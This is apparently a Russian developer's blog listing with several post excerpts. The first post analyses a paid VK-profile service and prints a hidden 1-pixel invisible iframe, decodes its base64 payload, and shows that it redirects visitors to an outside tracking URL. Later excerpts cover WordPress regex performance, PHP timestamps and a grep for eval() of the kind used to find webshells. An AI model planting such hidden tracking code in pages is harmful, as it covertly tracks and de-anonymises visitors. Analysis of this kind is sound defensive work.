
Sanasol

Доброго времени суток.
Недавно исследовал интересный сервис по сбору VK профилей:
Вход в сервис стоит 5000 рублей единоразово и 5 рублей за каждый собранный профиль человека.
Цель была узнать как и что работает при определении профиля человека, но речь пойдет не об этом. При тщательном ковырянии в работе скриптов нашел интересный кусок, который к определению имеет отношение примерно никакое 🙂
А нашелся собственно вот такой вот код
| 
					 1  | 
						document.write('<iframe sandbox=\'allow-same-origin allow-scripts\' seamless id=\'sfrload\' src=\'data:text/html;charset=utf-8;base64,PCEtLSAtLT48c2NyaXB0IGFzeW5jPiB3aW5kb3cubG9jYXRpb24uaHJlZiA9ICJodHRwczovL3lvdTQzLnJ1L3lhbmRpbnRzaXRlLz91PWZiYjg5ZTM2YzM1OTJmMjIyMTZjZTMzM2Q4ZDFhMjUwIjsgPC9zY3JpcHQ+PCEtLSAtLT4=\' style=\'width:1px;height:1px;opacity:0;\'><\/iframe>');  | 
					
Для тех кто не шарит: код вставляет на страницу 1 пиксельный прозрачный фрейм с таким содержанием(зашифрованным в base64)
| 
					 1  | 
						<!-- --><script async> window.location.href = "https://you43.ru/yandintsite/?u=fbb89e36c3592f22216ce333d8d1a250"; </script><!-- -->  | 
					
Т.е. идет переадресация фрейма на адрес https://you43.ru/yandintsite/?u=fbb89e36c3592f22216ce333d8d1a250
И самое интересное находится по этому адресу

Жил был один новостной сайт на вордпрессе.
Стал плохо жить и переехал на собственный выделенный сервер.
Но вот незадача он кушал ресурсы сервера так как-будто это был дешевый шаред хостинг, и сервер не выдерживал нагрузки в пиковые моменты.
А на сайт тот заходили по 10-20 тысяч человек в день и это было очень печально, ведь там стояли еще несколько почти таких же сайтов. Стали мы искать кто же так кушает наш сервер и почему все так плохо.
И нашли мы волшебную строчку в functions.php темы.
Какой-то добрый программист оставил там всего лишь одну строчку которая перед каждой новостью с помощью preg_replace добавляла блок адсенса в нужное место.
Всего лишь один preg_replace для всего контента перед выводом ставил дедик на колени и заставлял его молиться чтобы пронать gateway.
Надеюсь эта маленькая история научит вас любить и уважать функции и не использовать регулярки везде где только можно.
Конец.
Делать было нечего, дело было почти утром.
После решил сделать проверялку текстов на воду.
По быстрому на коленке получилось как-то так:
При использовании наткнулся на «косяк».
Если поле в базе имеет тип время/дата, в моем случае timestamp, то php-ar отдает отформатированную по дефолту строку, вместо собственно самого timestampа.
При курении доков выяснилось что используется там обычный DateTime из php
В общем чтобы получить unix время из поля приходится делать как-то так
| 
					 1 2  | 
						$cpayment = Cpayment::find('first'); echo $cpayment->time->getTimestamp();  | 
					
Памятка для себя, потому что второй раз затупил c этим косяком 🙂
Сказ о том как я провел свой хакатон или два «сломанных» хостинга за одну ночь: часть первая Locum.
Прошло уже более полугода, а я только сейчас решил об этом написать.
Дело было вечером, делать было нечего. Так наверно можно начать большинство рассказов про исследование уязвимостей различных сервисов и софта.

Зачем нужен можно глянуть здесь: 
Забрать можно здесь: 
Собственно запускать через консоль: php index.php
В domains.txt будут записаны домены с рейтингом 1 и 2(зеленые кружки и чуть менее зеленые кружки)
Остается дело за малым, проверить наличие обратных ссылок с этих сайтов. Я не придумал простого автоматического способа без обхода капч поисковиков, так что думайте сами.
Прикладываю результат для 200-999 страниц 14к «трастовых» доменов: 

| 
					 1  | 
						find . -type f -exec grep -l "eval(" {} \;  |